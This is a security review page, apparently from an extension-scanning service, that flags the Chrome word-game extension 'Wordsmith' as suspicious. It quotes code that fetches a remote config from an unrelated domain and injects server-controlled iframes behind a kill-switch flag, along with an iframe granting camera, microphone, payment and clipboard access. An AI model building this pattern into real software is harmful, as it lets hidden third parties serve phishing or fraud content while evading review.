Chrome Web StoreCaution required
Suspicious in code review
Our reviewer found behaviour consistent with malware, but not enough to confirm it. Treat this extension as untrusted until it has been re-reviewed.
Wordsmith - Can you craft the longest word and become a word master?
ID: hmgfcfdlochpckgmfdomkdiejajhbapo
Extension Info & Metadata
This publisher
17 extensions, 6 no longer listed on the store
Publisher Contextual Analysis
- Author
- nitalesmilky708View Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
This extension requests no permissions and has no recorded risk factors.
The function fetches from `game-extension-api.offlinegames.fun`, a third-party domain unrelated to the publisher's declared `codeplaymaster.com` domain, and injects `<iframe>` elements whose `src` URLs are fully controlled by the remote server. This gives an external party ongoing ability to render arbitrary web content inside the extension page — including phishing overlays, auto-click ad fraud frames, or credential-harvesting pages — without any update to the extension itself. The server flag `data.enable` acts as a kill-switch to hide this behavior during review.
try { const response = await fetch('https://game-extension-api.offlinegames.fun/recommend/'); const data = await response.json(); if (!data.enable) { return; } const recommendBox1 = document.querySelector('.recommend-box-1'); const recommendBox2 = document.querySelector('.recommend-box-2'); if (data['recommend-1']) { recommendBox1.innerHTML = `<iframe src="${data['recommend-1']}" width="100%" height="100%"></iframe>`; recommendBox1.style.display = 'block'; } if (data['recommend-2']) { recommendBox2.innerHTML = `<iframe src="${data['recommend-2']}" width="100%" height="100%"></iframe>`; recommendBox2.style.display = 'block'; }} catch (err) {}The main game iframe is granted an unusually broad set of delegated permissions including `camera`, `microphone`, `payment`, `clipboard-read`, and `clipboard-write`. The iframe's `src` is dynamically set at runtime via `info.iframeSrc` from the unreviewed `info.mjs` module, so the actual destination domain receiving these powerful capabilities cannot be verified from the bundled source. For a word-building game, permissions such as `camera`, `microphone`, and `payment` are not functionally required.
<iframe class="game-iframe" id="gameFrame" src="" allow="autoplay;camera;payment;gamepad;keyboard-map *;xr-spatial-tracking;clipboard-write;web-share;magnetometer;gyroscope;display-capture;fullscreen;microphone;screen-wake-lock;clipboard-read;accelerometer;" frameborder="0"></iframe>By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.5 | 2 |
Files with findings
2 distinct paths — top paths by unique finding count:
- game.html1
- js/game.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
About this extension
Wordsmith: Build words, earn points, and challenge friends in this fun offline Chrome extension!
Read the publisher’s full description
Wordsmith: The Ultimate Word-Building Game Now on Chrome! Wordsmith is an engaging and fast-paced word game that has been transformed into a convenient Chrome extension, allowing you to play offline and for free. Here’s what makes Wordsmith a must-have for word game enthusiasts: Gameplay In Wordsmith, you create words by combining letter pieces of different shapes. This brain-tickling game is designed for 1 to 4 players, making it a perfect addition to your daily routine or a fun activity with friends and family. The goal is simple yet challenging: form words from the given letter pieces, with longer words earning you more points. Key Features - Real-Time Word Building: All players create words simultaneously, adding a thrilling competitive edge to the game. - Points and Bonuses: Longer words score more points, and you can earn bonus points by limiting the number of letter pieces you discard. - Multiple Languages: Choose from English, Spanish, French, and Portuguese, making it accessible to a wide range of players. - Offline Access: Download the Chrome extension and play Wordsmith offline, anytime and anywhere. - Free to Play: Enjoy the game without any cost, perfect for casual gamers and word game enthusiasts alike. How to Play - Click the letters to form words using your left mouse button. - Create as many words as possible within the given time frame. - Earn points and bonuses for longer words and efficient use of letter pieces. Benefits - Improve Vocabulary: Wordsmith is a great way to enhance your vocabulary skills in a fun and interactive manner. - Strategic Thinking: The game requires strategic thinking and quick decision-making, making it an excellent cognitive exercise. - Thematic Experience: With its elegant and simple design, Wordsmith provides an engaging and captivating experience for players of all ages and skill levels. Why You’ll Love It Wordsmith is more than just a word game; it’s a challenge that combines fun with learning. Whether you’re a word game apprentice or a master, this game will keep you entertained and engaged. So go ahead, download Wordsmith for Chrome, and start forming the longest words possible 📚✨ We provide a "Play More Games" button in the extension and open our official website when you first install it, where you can experience more free games.
Screenshots & videos
Install growth
User reviews
Extension files
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.